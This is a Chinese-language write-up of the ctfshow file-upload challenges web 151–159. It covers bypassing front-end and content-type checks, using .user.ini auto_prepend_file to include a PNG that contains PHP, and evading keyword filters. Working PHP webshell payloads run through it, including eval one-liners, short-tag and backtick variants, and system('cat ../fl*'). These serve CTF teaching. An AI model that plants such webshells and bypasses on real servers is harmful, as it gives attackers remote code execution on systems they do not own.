ctfshow——文件上传

文章目录

  • 文件上传思路
  • [web 151](#web 151)
  • [web 152](#web 152)
  • [web 153](#web 153)
  • [web 154](#web 154)
  • [web 155](#web 155)
  • [web 156](#web 156)
  • [web 157](#web 157)
  • [web 158](#web 158)
  • [web 159](#web 159)

文件上传思路


web 151

打开页面显示:前台校验不可靠。说明这题是前端验证。

右键查看源代码,找到与上传点有关的前端代码:

这里使用了一个叫Layui的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。

绕过前端验证的最简单方法就是 ,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。

可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>,用webshell连接工具蚁剑去连接上传的webshell。

这里我们详细分析一句话木马,不借助工具获取flag。

  1. php代码要写在<?php ?>中,php解析器才会认出这是php代码;
  2. @符号的意思是不报错,即使执行错误,也不报错;
  3. eval():把字符串当做PHP代码执行;
  4. $_POST['cmd']接收POST传参,传参的变量名叫cmd。 除了POST传参,还有GET传参$_GET['cmd']、全局的传参方法$_REQUEST['cmd'](不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。
  5. php执行系统命令的函数有system()exec()shell_exec()、反撇号。php执行外部命令

web 152

跟前一题一样的

web 153

知识点

自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess文件有同样效果。除了主php.ini之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER['DOCUMENT_ROOT']所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。

配置选项是有权限的。php.ini是主要的配置文件,.user.ini是用户自定义的配置文件且能覆盖php.ini的内容,php解析器在解析php文件时会扫描.user.ini的配置。

.user.ini风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:

php 复制代码
auto_append_file=filename     //相当于在每个php文件尾加上 include("filename")
auto_prepend_file=filename    //相当于文件头加上 include("filename")

利用.user,ini的方法:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。例如:

php 复制代码
	//.user.ini
	auto_prepend_file=1.png
 
	//1.png
	<?php phpinfo();?>
 
	//1.php(任意php文件)

三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。

解题

此题前后端都检测content-type值,只允许上传PNG文件。

上传.user.ini文件,内容为auto_prepend_file=shell.png

上传shell.png文件

从之前可以得知,upload文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();,可以看到phpinfo的页面。

web 154

知识点:过滤<?php

绕过方法:使用短标签进行绕过(没有限制条件)。如:

php 复制代码
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>


此题过滤了php这一关键词。使用短标签进行绕过。

pyload:

php 复制代码
<?=@eval($_GET['cmd']);?>


web 155

同web 154

web 156

知识点:过滤php[]关键字

绕过方法:

  • php关键字被过滤,使用php短标签进行绕过;

  • []被过滤,使用{}进行替换。例如:

    php 复制代码
    <?php @eval($_GET['cmd']);?> ==  <?php @eval($_GET{cmd});?>

payload:

php 复制代码
<?=system('cat ../fl*')?>

web 157

在前面的基础上,过滤了{;,而且文件内容不能有php字符串。

绕过方法:

  • 过滤;,则在短标签里,可以省略;。例如:
php 复制代码
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
  • 过滤{,那就不用eval函数接受参数,再执行系统命令,直接用system()函数执行系统命令。如<?=system(ls)?>
    -cat ../flag.php==cat ../fl*

payload:

php 复制代码
<?=system('cat ../fl*')?>

web 158

同web157

web 159

在前面的基础上,过滤了(。绕过方法:直接用反撇号执行系统命令,反撇号就相当于shell_exec()函数。payload:

php 复制代码
<?=`cat ../fl*`?>
相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全